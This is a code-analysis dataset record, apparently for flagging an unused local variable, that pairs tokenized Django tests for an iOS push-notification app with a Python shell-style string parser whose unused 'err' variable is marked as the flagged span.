"(_", "resp_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "resp_", ",_", "JSONR", "esp", "ons", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "device", "\\u", "json_", "=_", "json_", "._", "loads_", "(_", "resp_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "device", "\\u", "json_", "._", "get_", "(_", "'", "pk", "'_", ")_", ",_", "self_", "._", "device_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "user_", "in_", "self_", "._", "device_", "._", "users_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Auth", "entica", "tion", "Decorat", "or", "Test", "Auth", "Basic_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "AUTHENTICATION", "_", "=_", "'", "Auth", "Basic", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "basic", "\\u", "authoriz", "ation", "\\u", "request", "\\u", "invalid", "\\u", "credentials_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "pass_", "=_", "'%", "s", ":", "%", "s", "'_", "%_", "(_", "self_", "._", "user_", "._", "username_", ",_", "'", "invalid", "password", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auth", "\\u", "header_", "=_", "'", "Basic", " ", "%", "s", "'_", "%_", "user", "\\u", "pass_", "._", "encode_", "(_", "'", "base64", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "'", "ios", "-", "notification", "s", "-", "device", "-", "create", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "url_", ",_", "HTTP", "\\u", "AUTHORIZATION", "_", "=_", "auth", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "resp_", "._", "status", "\\u", "code_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "authenticat", "ion", " ", "error", "'_", "in_", "resp_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Auth", "entica", "tion", "Decorat", "or", "Test", "Auth", "Basic_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "AUTHENTICATION", "_", "=_", "'", "Auth", "Basic", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "basic", "\\u", "authoriz", "ation", "\\u", "missi", "ng", "\\u", "header_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "reverse_", "(_", "'", "ios", "-", "notification", "s", "-", "device", "-", "create", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "resp_", "._", "status", "\\u", "code_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "Authoriz", "ation", " ", "header", " ", "not", " ", "set", "'_", "in_", "resp_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Auth", "entica", "tion", "Decorat", "or", "Test", "Auth", "Basic_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "AUTHENTICATION", "_", "=_", "'", "Auth", "Basic", "Is", "Sta", "ff", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "basic", "\\u", "authoriz", "ation", "\\u", "is", "\\u", "sta", "ff", "\\u", "with", "\\u", "non", "\\u", "sta", "ff", "\\u", "user_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "=_", "{_", "'", "token", "'_", ":_", "self_", "._", "device_", "._", "token_", ",_", "'", "service", "\\u\\u", "id", "'_", ":_", "self_", "._", "device_", "._", "service_", "._", "id_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "reverse_", "(_", "'", "ios", "-", "notification", "s", "-", "device", "'_", ",_", "kwargs_", "=_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "pass_", "=_", "'%", "s", ":", "%", "s", "'_", "%_", "(_", "self_", "._", "user_", "._", "username_", ",_", "self_", "._", "user", "\\u", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auth", "\\u", "header_", "=_", "'", "Basic", " ", "%", "s", "'_", "%_", "user", "\\u", "pass_", "._", "encode_", "(_", "'", "base64", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user_", "._", "is", "\\u", "staff_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "self_", "._", "client_", "._", "get_", "(_", "url_", ",_", "HTTP", "\\u", "AUTHORIZATION", "_", "=_", "auth", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "resp_", "._", "status", "\\u", "code_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "authenticat", "ion", " ", "error", "'_", "in_", "resp_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "ment", "Command", "Push", "Notifi", "cation", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "push", "\\u", "ios", "\\u", "notification", "\\u", "command", "\\u", "explicit", "\\u", "persist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "some", " ", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "call", "\\u", "command_", "(_", "'", "push", "\\u", "ios", "\\u", "notification", "'_", ",_", "**_", "{_", "'", "message", "'_", ":_", "msg_", ",_", "'", "service", "'_", ":_", "self_", "._", "service_", "._", "id_", ",_", "'", "verbo", "sity", "'_", ":_", "0_", ",_", "'", "persist", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "Notification_", "._", "objects_", "._", "filter_", "(_", "message_", "=_", "msg_", ",_", "last", "\\u", "sent", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", "._", "exists_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "device_", "in_", "Device_", "._", "objects_", "._", "filter_", "(_", "last", "\\u", "notified", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "ment", "Command", "Push", "Notifi", "cation", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "push", "\\u", "ios", "\\u", "notification", "\\u", "command", "\\u", "explicit", "\\u", "no", "\\u", "persist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "some", " ", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "call", "\\u", "command_", "(_", "'", "push", "\\u", "ios", "\\u", "notification", "'_", ",_", "**_", "{_", "'", "message", "'_", ":_", "msg_", ",_", "'", "service", "'_", ":_", "self_", "._", "service_", "._", "id_", ",_", "'", "verbo", "sity", "'_", ":_", "0_", ",_", "'", "persist", "'_", ":_", "False_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "Notification_", "._", "objects_", "._", "filter_", "(_", "message_", "=_", "msg_", ",_", "last", "\\u", "sent", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", "._", "exists_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "device_", "in_", "Device_", "._", "objects_", "._", "filter_", "(_", "last", "\\u", "notified", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "ment", "Command", "Push", "Notifi", "cation", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "PERS", "IST", "\\u", "NOTIFICATION", "S_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "push", "\\u", "ios", "\\u", "notification", "\\u", "command", "\\u", "default", "\\u", "persist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "some", " ", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "call", "\\u", "command_", "(_", "'", "push", "\\u", "ios", "\\u", "notification", "'_", ",_", "**_", "{_", "'", "message", "'_", ":_", "msg_", ",_", "'", "service", "'_", ":_", "self_", "._", "service_", "._", "id_", ",_", "'", "verbo", "sity", "'_", ":_", "0_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "Notification_", "._", "objects_", "._", "filter_", "(_", "message_", "=_", "msg_", ",_", "last", "\\u", "sent", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", "._", "exists_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "device_", "in_", "Device_", "._", "objects_", "._", "filter_", "(_", "last", "\\u", "notified", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "ment", "Command", "Push", "Notifi", "cation", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "PERS", "IST", "\\u", "NOTIFICATION", "S_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "push", "\\u", "ios", "\\u", "notification", "\\u", "command", "\\u", "default", "\\u", "no", "\\u", "persist_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "'", "some", " ", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "call", "\\u", "command_", "(_", "'", "push", "\\u", "ios", "\\u", "notification", "'_", ",_", "**_", "{_", "'", "message", "'_", ":_", "msg_", ",_", "'", "service", "'_", ":_", "self_", "._", "service_", "._", "id_", ",_", "'", "verbo", "sity", "'_", ":_", "0_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "Notification_", "._", "objects_", "._", "filter_", "(_", "message_", "=_", "msg_", ",_", "last", "\\u", "sent", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", "._", "exists_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "device_", "in_", "Device_", "._", "objects_", "._", "filter_", "(_", "last", "\\u", "notified", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Manage", "ment", "Command", "Push", "Notifi", "cation", "Test_", "(_", "Us", "e", "Moc", "k", "SS", "LS", "erver", "Mixin_", ",_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "override", "\\u", "settings_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "push", "\\u", "ios", "\\u", "notification", "\\u", "command", "\\u", "default", "\\u", "persist", "\\u", "not", "\\u", "specified", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mak", "ing", " ", "sure", " ", "tha", "t", " ", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "PERS", "IST", "\\u", "NOTIFICATION", "S", " ", "is", " ", "not", " ", "specified", " ", "in", " ", "app", " ", "settings", ",", " ", "other", "wis", "e", " ", "this", " ", "test", " ", "means", " ", "nothing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "settings_", "._", "IO", "S", "\\u", "NOTIFICATION", "S", "\\u", "PERS", "IST", "\\u", "NOTIFICATION", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg_", "=_", "'", "some", " ", "message", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "call", "\\u", "command_", "(_", "'", "push", "\\u", "ios", "\\u", "notification", "'_", ",_", "**_", "{_", "'", "message", "'_", ":_", "msg_", ",_", "'", "service", "'_", ":_", "self_", "._", "service_", "._", "id_", ",_", "'", "verbo", "sity", "'_", ":_", "0_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "Notification_", "._", "objects_", "._", "filter_", "(_", "message_", "=_", "msg_", ",_", "last", "\\u", "sent", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", "._", "exists_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "device_", "in_", "Device_", "._", "objects_", "._", "filter_", "(_", "last", "\\u", "notified", "\\u", "at", "\\u\\u", "gt_", "=_", "self_", "._", "start", "ed", "\\u", "at_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
grawity/hacks/hacks/Dead-projects/bash-parser.py
[ { "content": "\tdef feed(self, line, multiline=True):\n\t\ti = 0\n\t\tappend = False\n\t\tdone = True\n\t\tvariables = os.environ\n\n\t\twhile i <= len(line):\n\t\t\tchar = line[i] if i < len(line) else None\n\t\t\t#print(\"%r %r %r\" % (self.words, char, self.state))\n\t\t\tif self.state.last == \"raw\":\n\t\t\t\tif not char or char.isspace():\n\t\t\t\t\tif self.cur or append:\n\t\t\t\t\t\tself.words.append(self.cur)\n\t\t\t\t\t\tself.cur = \"\"\n\t\t\t\t\t\tappend = False\n\t\t\t\telif char == \"\\\"\":\n\t\t\t\t\tself.state.push(\"dquoted\")\n\t\t\t\telif char == \"'\":\n\t\t\t\t\tself.state.push(\"squoted\")\n\t\t\t\telif char == \"{\" and self.parse_bquoted:\n\t\t\t\t\tself.state.push(\"bquoted\")\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tself.state.push(\"escape\")\n\t\t\t\telif char == \"$\" and variables is not None:\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.push(\"variable\")\n\t\t\t\telse:\n\t\t\t\t\tself.cur += char\n\t\t\telif self.state.last == \"escape\":\n\t\t\t\tif not char:\n\t\t\t\t\tdone = False\n\t\t\t\t\ti -= 1\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"x\":\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.last = \"escape hex\"\n\t\t\t\telif char in \"0123\":\n\t\t\t\t\ttoken = char\n\t\t\t\t\tself.state.last = \"escape oct\"\n\t\t\t\telif char in self.escapes:\n\t\t\t\t\tself.cur += self.escapes[char]\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telse:\n\t\t\t\t\tself.cur += char\n\t\t\t\t\tself.state.pop()\n\t\t\telif self.state.last == \"escape hex\":\n\t\t\t\tif char and char in \"0123456789abcdefABCDEF\":\n\t\t\t\t\ttoken += char\n\t\t\t\t\tif len(token) == 2:\n\t\t\t\t\t\tself.cur += chr(int(token, 16))\n\t\t\t\t\t\tself.state.pop()\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"invalid hex character %r\" % char)\n\t\t\telif self.state.last == \"escape oct\":\n\t\t\t\tif char and char in \"01234567\" and len(token) < 3:\n\t\t\t\t\ttoken += char\n\t\t\t\telse:\n\t\t\t\t\tself.cur += chr(int(token, 8))\n\t\t\t\t\ti -= 1\n\t\t\t\t\tself.state.pop()\n\t\t\telif self.state.last == \"dquoted\":\n\t\t\t\tif char == \"\\\"\":\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tself.state.push(\"escape\")\n\t\t\t\telif char == \"$\" and variables is not None:\n\t\t\t\t\ttoken = \"\"\n\t\t\t\t\tself.state.push(\"variable\")\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telif multiline:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"missing closing \\\"\")\n\t\t\telif self.state.last == \"squoted\":\n\t\t\t\tif char == \"'\":\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telif multiline:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\traise ParserError(\"missing closing '\")\n\t\t\telif self.state.last == \"bquoted\":\n\t\t\t\tif char == \"}\":\n\t\t\t\t\tif self.state.prev(1) == \"bquoted\":\n\t\t\t\t\t\tself.cur += char\n\t\t\t\t\tappend = True\n\t\t\t\t\tself.state.pop()\n\t\t\t\telif char == \"{\":\n\t\t\t\t\tself.cur += char\n\t\t\t\t\tstate.push(\"bquoted\")\n\t\t\t\telif char == \"\\\\\":\n\t\t\t\t\tstate.push(\"escape\")\n\t\t\t\telif char:\n\t\t\t\t\tself.cur += char\n\t\t\t\telse:\n\t\t\t\t\tdone = False\n\t\t\t\t\tbreak\n\t\t\telif self.state.last == \"variable\":\n\t\t\t\tvar = None\n\n\t\t\t\tif char and char in \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\\\n\t\t\t\t\t\t\t\"abcdefghijklmnopqrstuvwxyz\"\\\n\t\t\t\t\t\t\t\"0123456789_\":\n\t\t\t\t\ttoken += char\n\t\t\t\telif char == \"$\" and not token:\n\t\t\t\t\tvar = str(os.getpid())\n\t\t\t\telif char == \"{\" and not token:\n\t\t\t\t\ttoken += char\n\t\t\t\telif token and token[0] == \"{\":\n\t\t\t\t\tif char == \"}\":\n\t\t\t\t\t\tvar = variables.get(token[1:], \"\")\n\t\t\t\t\telif multiline:\n\t\t\t\t\t\tdone = False\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\traise ParserError(\"missing closing }\")\n\t\t\t\telse:\n\t\t\t\t\ti -= 1\n\t\t\t\t\tvar = variables.get(token, \"\")\n\n\t\t\t\tif var is not None:\n\t\t\t\t\tif self.state.prev() == \"raw\":\n\t\t\t\t\t\tvar = (self.cur+var).split()\n\t\t\t\t\t\tif var:\n\t\t\t\t\t\t\tself.cur = var.pop()\n\t\t\t\t\t\t\tfor token in var:\n\t\t\t\t\t\t\t\tif token or append:\n\t\t\t\t\t\t\t\t\tself.words.append(token)\n\t\t\t\t\t\t\t\t\tappend = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.cur += var\n\t\t\t\t\tself.state.pop()\n\t\t\ti += 1\n\n\t\tif not multiline:\n\t\t\tdone = True\n\n\t\tif not done:\n\t\t\terr = None\n\t\telif not self.state or self.state.last == \"raw\":\n\t\t\terr = None\n\t\telif self.state.last in (\"bquoted\", \"variable\"):\n\t\t\traise ParserError(\"missing closing }\")\n\t\telif self.state.last == \"escape\":\n\t\t\traise ParserError(\"extra backslash\")\n\t\telif self.state.last == \"escape hex\":\n\t\t\traise ParserError(\"truncated hex escape\")\n\t\telif self.state.last == \"escape oct\":\n\t\t\traise ParserError(\"truncated oct escape\")\n\t\telse:\n\t\t\traise ParserError(\"foo\")\n\t\t\n\t\tif done:\n\t\t\treturn self.words, self.reset()\n\t\telse:\n\t\t\treturn self.words, False", "metadata": "root.Parser.feed", "header": "['class', 'Parser', '(', 'object', ')', ':', '___EOS___']", "index": 48 } ]
[ { "span": "err ", "start_line": 193, "start_column": 3, "end_line": 193, "end_column": 6 }, { "span": "err ", "start_line": 195, "start_column": 3, "end_line": 195, "end_column": 6 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Parser_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "feed_", "(_", "self_", ",_", "line_", ",_", "multiline", "_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "done_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variables_", "=_", "os_", "._", "environ_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "i_", "<=_", "len_", "(_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "char_", "=_", "line_", "[_", "i_", "]_", "if_", "i_", "<_", "len_", "(_", "line_", ")_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", "(\"", "%", "r", " ", "%", "r", " ", "%", "r", "\"", " ", "%", " ", "(", "self", ".", "words", ",", " ", "char", ",", " ", "self", ".", "state", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "state_", "._", "last_", "==_", "\"", "raw", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "not_", "char_", "or_", "char_", "._", "isspace", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "self_", "._", "cur_", "or_", "append_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "self_", "._", "words_", "._", "append_", "(_", "self_", "._", "cur_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cur_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"\\\\\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", 